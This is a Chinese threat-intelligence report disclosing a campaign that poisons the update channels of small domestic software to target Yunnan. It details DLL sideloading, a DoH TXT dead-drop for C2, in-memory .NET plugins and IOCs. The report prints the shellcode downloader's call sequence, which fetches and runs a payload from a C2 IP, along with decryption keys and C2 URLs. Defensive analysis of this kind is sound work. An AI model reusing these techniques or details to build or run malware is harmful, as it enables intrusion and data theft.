【原创】瞄准国内某西南省份:多款国产小型软件更新供应链攻击行动披露
原创 红雨滴团队 2026-11-06 10:53 北京

恶意更新包校验受害者地理位置、定向云南省目标;DoH TXT 记录作死信箱下发 C2 配置,.NET 植入体插件化内存加载不落盘——投递机制、武器组件、C2 架构与同源判据完整披露。
【原创】供应链安全 · 威胁情报
瞄准国内某西南省份:
多款国产小型软件更新供应链行动披露
恶意更新包校验受害者地理位置、定向云南省目标;DoH TXT 记录作死信箱下发 C2 配置,.NET 植入体插件化内存加载不落盘——投递机制、武器组件、C2 架构与同源判据完整披露。
· 更新供应链投毒 · DoH 死信箱 · DLL 侧载 · 内存加载 · 2026.11
01 背景
近年来,攻击者将目光转向安全建设相对薄弱的国产小型软件供应链。这类软件多采用 HTTP 明文接口下发更新,且不校验更新包的数字签名,攻击者只要控制更新配置接口或劫持目标流量即可向终端用户推送恶意安装包。
2026 年 10 月底,奇安信威胁情报中心红雨滴团队通过私有情报 AI 生产流程,持续监控到一起大规模的国产软件更新供应链行动,恶意更新包会验证受害者地理位置,如果位于云南省则继续执行,否则退出。截止到目前为止观察到六个国产软件的更新渠道被劫持,涵盖加速器、财务软件、鼠标连点器、电商浏览器,还发现了木马化的某即时通讯客户端和被篡改的某系统管理工具。
该行动使用 DNS over HTTPS(DoH)TXT 记录作为死信箱下发 C2 配置,最终植入体采用插件化架构在内存中加载 .NET 程序集执行,不落盘。所有变体共享一个独特的命名管道后缀 MyControlPipeaaa,成为跨变体的稳定同源判据。本文对该行动的投递机制、武器组件、C2 通信架构和同源关系进行完整披露。
天擎“六合”高级威胁防御引擎已经可以对恶意更新包进行拦截:

图 1|天擎“六合”拦截图
02 供应链投毒入口
Inno Setup 恶意更新包

图 2|更新劫持与木马执行流程
攻击者拥有一套模板化的 Inno Setup 打包工具,只需输入目标软件的正版安装包与版本号,即可生成伪装成该软件更新包的恶意安装程序。展示其中三个恶意更新包:
伪装软件 | Inno 描述 | 版本号 | VT 检出 | SHA-256 |
某鼠标连点器 | Setup A | 2.9.0.2 | — | 5fb8b88a... |
某记账软件 | Setup B | 2.3.0.0 | 0/76 | 3330b75d... |
某游戏加速器 | Setup C | 4.0.6.13 | 1/76 | bd797390... |
三个样本的沙箱行为均连接同一 C2 IP 107.173.84.53,依次请求 /information.php、/fjai87gajio.zip、/newxx_x64,共享同一 stage-2 ZIP 文件名和 stage-3 载荷名。其中两个样本的 PE 时间戳精确到秒一致(2026-08-10T09:40:38Z),imphash 一致,证明来自同一个编译产物。
这类小型国产软件多由个人开发者或小团队维护,用户量在数十万至百万级,安全建设基本空白。调查中发现,受影响软件的更新通道存在系统性安全缺陷,使得攻击者无需入侵开发者环境即可实施投毒:
- 无传输加密:更新配置接口使用明文 HTTP,在网络链路上可被中间人篡改返回内容
- 完整性校验无独立性:版本校验使用的 MD5 与下载地址在同一响应中下发,攻击者可同时替换二者
- 无代码签名验证:下载的 EXE 直接执行,不校验 Authenticode 签名或开发者证书
- 版本号触发无鉴权:攻击者只需设置高于受害主机当前版本的版本号,即可触发自动更新流程
这四项缺陷的组合意味着,攻击者一旦具备修改更新配置响应的能力(无论是入侵配置服务器、DNS 劫持还是中间人攻击),即可向全部用户静默推送任意恶意安装包。完整的更新劫持与木马执行流程见附图。
软件官网安装包供应链
攻击者通过替换官网安装包实现供应链攻击,这种手法相对来讲比较容易暴露,我们只在某办公软件上观察到这类事件:
字段名称 | 详细信息 |
Download URL | www.XXXXXX.com/xiazai/soft.html |
Malware MD5 | 144bd9f3c9cf738c95ec16febac5f6aa |
03 其他投递渠道(VT 扩线发现)
在 VT 全库以 MyControlPipeaaa 命名管道为关键词搜索,共命中 40 个相关文件。除上述 Inno Setup 家族外,还发现该攻击者同时经营另外两个投递渠道,此处仅作摘要:
渠道 | 目标 | 手法 | 关键特征 | VT |
PE .text 注入 | 某系统管理工具 | 在入口函数植入 5 字节 call → .text 尾部 shellcode,保留原 Microsoft 签名(checksum 失效) | WinInet → mp.mmca-cdn.com:443 | — |
源码级木马化 | 某即时通讯客户端 216 MB | 从开源项目添加后门模块后完整编译,VT 沙箱未触发后门行为 | 编译路径 C:\code\cc\TG\\ | 0/70 |
这两个渠道与 Inno Setup 家族共享 mmca-cdn.com 注册域和 MyControlPipeaaa 命名管道后缀,但使用不同子域、不同 DoH 死信箱域名和不同加密方式。即时通讯变体的编译路径 C:\code\cc\TG\\ 中“cc”目录名暗示攻击者统一的 C2 工具开发环境。其 0/70 的检出率值得关注。
04 武器组件详析
白加黑组件——dsemanager.exe + atiadlxy.dll
Inno Setup 变体的 stage-2 载荷是一个加密 ZIP 包(口令 fjaikldmionkldfanl),含三个文件:
文件 | 大小 | 角色 |
| dsemanager.exe | 246,080 | AMD 正版签名文件(白) |
| atiadlxy.dll | 138,752 | 恶意侧载 DLL(黑),无导出,恶意代码在 DllMain |
| install.dat | 891 | shellcode 下载器 |
dsemanager.exe 是 AMD Display Session Manager 正版组件,带有效 Authenticode 签名。它在运行时按名 LoadLibrary 加载 AMD ADL 库 atiadlxy.dll,攻击者在同目录放置同名恶意 DLL 实现 DLL 搜索顺序劫持。该恶意 DLL 无任何导出函数,DllMain 在 LoadLibrary 时即执行。
ZIP 条目同时带 DOS 本地时间与 NTFS FILETIME,三条目一致的 +8h 偏移证明打包主机时区为 UTC+8。其中 atiadlxy.dll 的 PE 编译时间与 ZIP 内 mtime 仅差 0.3 秒,说明编译完毕后立即打包,是为此次投递现场编译的。
Shellcode 下载器——install.dat
install.dat 是一段 891 字节的纯内存下载器。无导入表,靠 PEB 遍历按哈希值动态解析 API。API 哈希算法种子为 0x14A1,使用 h = h * 0x21 + toupper(c) 的迭代公式,模块哈希与函数哈希相加作为最终查找值。其行为链为:
LoadLibraryA("wininet")
InternetOpenA(NULL, DIRECT, NULL, NULL, 0) // 不发 User-Agent
InternetConnectA(h, "107.173.84.53", 443, ...) // C2 IP 硬编码
HttpOpenRequestA(h, "GET", "/newxx_x64", ...) // stage-3 路径
InternetSetOptionA(h, SECURITY_FLAGS, 0x3380) // 显式关闭 TLS 证书校验
HttpSendRequestA
VirtualAlloc(NULL, 0x1400000, COMMIT|RESERVE, RWX) // 20 MiB 可执行缓冲
InternetReadFile(..., 512000, ...)
call rsi // 直接跳入缓冲区执行
全程不落盘,且在两处显式关闭了 TLS 证书校验(IGNORE_UNKNOWN_CA、IGNORE_CERT_CN_INVALID 等全部标志),不验证服务器身份。
四层解包与 RemoteExeLoader .NET 植入体
stage-3 载荷 newxx_x64 包含四层嵌套解包逻辑,最终释放一个 .NET 植入体:
层 | 算法 | 关键参数 |
第 1 层 | 滚动密钥 XOR | marker 0x43311116,key = ROR32(key,13) + 0x12D687 |
第 2 层 | 滚动密钥 XOR(不同常量) | marker 0x3E4F43B4,复合密钥更新函数 |
第 3 层 | aPLib 变体解压 | marker 0xB3D7E5AF,位极性反转,产出 196,392 字节 |
第 4 层 | 内嵌 .NET EXE | 29,184 字节,RemoteExeLoader / new-test-demo |
三层外壳统一使用「标记搜索自定位 + 跳过 cmp 立即数 + [marker][key][len][data]」容器格式。解压器属 aPLib 家族但位极性与匹配编码均为变体,标准 aPLib 无法解压,需模拟执行原始代码。
DoH TXT 死信箱 C2 机制
该行动的最显著技术特征是使用 DNS over HTTPS 的 TXT 记录作为 C2 配置的死信箱通道。RemoteExeLoader 变体与即时通讯变体均采用此机制,但密钥材料与解密方式不同:
维度 | RemoteExeLoader 变体 | 即时通讯变体 |
死信箱域名 | m1m101010.fmcag.org | tg002.mmp-gep.org |
DoH 解析器数 | 17 个 | 4 个 |
TXT 解密 | AES-256-CBC(256 位密钥) | XOR(密钥 ask123321) |
DoH 格式 | Wire format(dns-message) | JSON format(dns-json) |
中国 DNS 优先 | 是(218.30.118.6/223.5.5.5 排前) | 是(dns.alidns.com/223.5.5.5 排前) |
RemoteExeLoader 变体的完整解密链已验证:TXT 记录经 base64 解码后,前 16 字节为 IV,其余为 AES-256-CBC 密文(密钥 a7l1d9i8t9l7j7c1z9f8e8y5e0c5a6w6),解出 JSON 域名列表:
{
"img1001": ["img01.mmca-cdn.com"],
"img2001": ["img21.mmca-cdn.com"],
"img3001": ["img31.mmca-cdn.com"]
}
这些域名伪装为 CDN 图片节点,实际为业务 C2 服务器。植入体取 img1001 对应的域名作为主通道。查询时 TXT 记录存在,C2 基建仍在运营。
RemoteExeLoader 植入体详析
最终 .NET 植入体命名空间为 RemoteExeLoader,工程名 new-test-demo,无混淆。其核心能力包括:
- 插件化架构
从 C2 下载 .NET 程序集,经 base64 + AES-256-CBC 解密后通过 Assembly.Load 在内存中加载执行,不落盘,经过我们测试该特种木马拥有高达23个插件
- 命名管道控制
每个插件使用 <plugin_name>_MyControlPipeaaa 命名管道通信,支持停止命令
- 主机指纹
采集 WMI 硬件信息 + 物理 MAC(排除虚拟网卡)生成 SHA-256 GUID,落地两处互为备份
- 回传加密
AES-128-ECB,密钥 = MD5("history" + guid) 前 16 字符——防守方知道 guid 即可离线解密
- 地域定向
ip-api.com 查询受害机地理位置,校验「Yunnan」——明确针对云南省目标
- 持久化
计划任务「Dsemanager Update」,每 2 小时运行(PT2H)
- 心跳
15–30 分钟随机间隔
业务 C2 端点使用固定路径前缀 /wA8zS0xD8gT3-zzz/,固定口令参数 pass=xV6kE6cP。插件 URL 中的占位域名 ms.jsf.ink 在运行时被替换为实际 C2 域名。含 copyapp 或 appscreen 的插件在 STA 线程执行,指向剪贴板/屏幕捕获类功能。
05 同源分析
以下判据将四种投递机制关联为同一攻击者:
- MyControlPipeaaa 命名管道后缀
跨全部变体一致,VT 全库搜索仅命中本活动(40 个文件)
- DoH TXT 死信箱架构
相同的 /resolve?name=<domain>&type=TXT 模式
- 中国境内 DNS 解析器优先
两套配置都将阿里系解析器排在前列
- mmca-cdn.com 域名共享
Inno Setup 变体的 C2(img01/21/31)与 PE 注入变体的下载点(mp.)属同一注册域
- 同一 C2 IP + 相同 URI 路径
三个 Inno Setup 样本的沙箱行为均连接 107.173.84.53,依次请求相同路径
06 总结
该行动是一起针对多款中国国产小型软件更新通道的批量供应链投毒行动,具备以下特征:
- 多投递机制并行
以 Inno Setup 包装为主力,辅以 PE 注入和源码编译,至少三种手法并行
- C2 通信隐蔽
DoH TXT 死信箱下发域名配置,插件经 AES 加密内存加载,回传数据加密
- 活跃运营
stage-3 载荷持续更新,TXT 记录活跃,基建在维护中
- 地域定向明确
多层独立证据指向中国境内云南省目标
- 能力盲区
插件载荷未获取,窃密/横移/勒索的具体能力均在插件中,是当前最大的分析空白
建议立即回溯以下指标:计划任务名 Dsemanager Update、命名管道含 _MyControlPipeaaa、DNS 查询 *.fmcag.org / *.mmca-cdn.com / *.mmp-gep.org、以及 DoH 请求特征(非浏览器进程发起的 /dns-query?dns= 或 /resolve?name=)。
07 IOC
网络指标
类型 | 值 | 说明 |
IP | 107.173.84.53 | C2 服务器(HostPapa AS36352) |
域名 | m1m101010.fmcag.org | DoH TXT 死信箱(RemoteExeLoader) |
域名 | tg002.mmp-gep.org | DoH TXT 死信箱(即时通讯变体) |
域名 | img01.mmca-cdn.com | 业务 C2(主通道) |
域名 | img21.mmca-cdn.com | 业务 C2(备用) |
域名 | img31.mmca-cdn.com | 业务 C2(备用) |
域名 | mp.mmca-cdn.com | 注入变体下载点(Cloudflare) |
域名 | ms.jsf.ink | 插件 URL 占位域名 |
URL | https://107.173.84.53/newxx_x64 | stage-3 下载点 |
URL | https://107.173.84.53/fjai87gajio.zip | stage-2 ZIP |
URL | https://107.173.84.53/information.php | 回传端点 |
URL | mp.mmca-cdn.com:443/install_v.exe.shell | 注入变体 stage-2 |
URI 路径 | /wA8zS0xD8gT3-zzz/aaa_config_new.php | 插件列表 |
URI 路径 | /wA8zS0xD8gT3-zzz/aaa_getjson.php | 结果回传 |
参数 | pass=xV6kE6cP | 固定口令 |
HTTP 头 | Guid: <36 字符 GUID> | 自定义头 |
UA | curl/8.9.1 | 注入变体 shellcode |
UA | machineid/1.0 | 原生层 |
DoH | DNS txid 0x1234 + dns-message | RemoteExeLoader 特征 |
DoH | /resolve?name= + dns-json | 即时通讯变体特征 |
主机指标
类型 | 值 |
计划任务 | Dsemanager Update(每 2 小时) |
互斥量 | Global\EFC2C8B2-2F3E-4B11-B0F8-8A3D2C6C1236} |
互斥量 | Global\mutex_sharp |
互斥量 | Local\BAB14AD67B48FA47BEE5D3E6AEBD678E (即时通讯变体) |
命名管道 | <plugin_name>_MyControlPipeaaa |
命名管道 | \.\pipe\newtg_MyControlPipeaaa (即时通讯变体) |
文件 | C:\ProgramData\current_guid |
文件 | %LOCALAPPDATA%\Devinfo\setup\theuid |
侧载组合 | dsemanager.exe (AMD 签名)+ atiadlxy.dll(未签名) |
文件哈希
文件 | SHA-256 |
| atiadlxy.dll | 343eedba17f1151263bfd2a9ac79445b2b8eef92a4affa4de9b48ae9c96ec047 |
| install.dat | ce90561bd83fddf6f92856b6c10a9dfb53350f9370c45e39221823c51706dd66 |
| fjai87gajio.zip | cedfffb48db01b0b42433ccb8b893f6814396b0ea74392f35895cacb98f23ec3 |
| newxx_x64 (11-05) | 5275105352bae4fe09ad79e69b4377cc0d05505b8ce4ade897919ae25a6ccf84 |
| newxx_x64 (10-31) | cb9bcaaf3224c7ee5ae45ca74aef7eb6cc1137dcdf054afffcae24557ceafc90 |
| stage3_managed.exe | 5a885ea6867a0f01afd8b26e5793942644c05373bcaec0bc8b6be4512b23b0c6 |
即时通讯变体 | 31ae45a4994a7ca8e9749972c07f2909b3868ad49d67124223d3c743bddeed22 |
系统工具注入变体 | 6e022a08cce7c846501842a653df491500fe2dcd7501bfdcd23b8f1cf273af02 |
某记账软件安装包 | 3330b75d2d2c9e5764f99ebc70137d334875a3fba5baa9b6dc538162ab20375a |
某游戏加速器安装包 | bd797390557596b41ebd2c94d09e304c0b07261d561d0faefe756e75a68323d5 |
某软件更新包 | 73307f1af92cbdadb60fc57ab30fdbdf22d048178f178ddf38c7720ac06e3ac6 |
某软件更新包 | 5406bb5f525cfab8a07777de59b039dc7a568dc41efef738d66dafa7a153b745 |
某软件更新包 | dbe8a49ad1abaacc8b5fe91a751517d9f7fd737ba86b020c5764aa2b823c36c9 |
某软件更新包 | 14bf8751d6b2146e8df0fcfe008d055565538ad2727290a3413c95d401ffb09e |
某软件更新包 | ab978fcbf9009ade4ec654e335be23e09a9e741d98c9740da7b49993cf11bd21 |
密钥材料与代码级指纹
用途 | 值 |
ZIP 口令 | fjaikldmionkldfanl |
AES-256-CBC(DoH TXT) | a7l1d9i8t9l7j7c1z9f8e8y5e0c5a6w6 |
AES-256-CBC(插件) | 121d74d6eebea45857083a38904bdefb |
AES-128-ECB(回传) | MD5("history" + guid)[:16] |
XOR(即时通讯变体 TXT) | ask123321 |
JSON 键 | img1001 |
程序集 GUID | e3a5653c-7e89-421c-af33-ec277c8aa6c7 |
命名空间 | RemoteExeLoader |
工程名 | new-test-demo |
API 哈希 | 种子 0x14A1,h = h*0x21 + toupper(c),模块+函数相加 |
第 1 层 marker | 0x43311116 |
第 2 层 marker | 0x3E4F43B4 |
第 3 层 marker | 0xB3D7E5AF |
本文转载自微信公众号「奇安信威胁情报中心」,查看原文。版权归原作者所有,如有侵权请联系删除。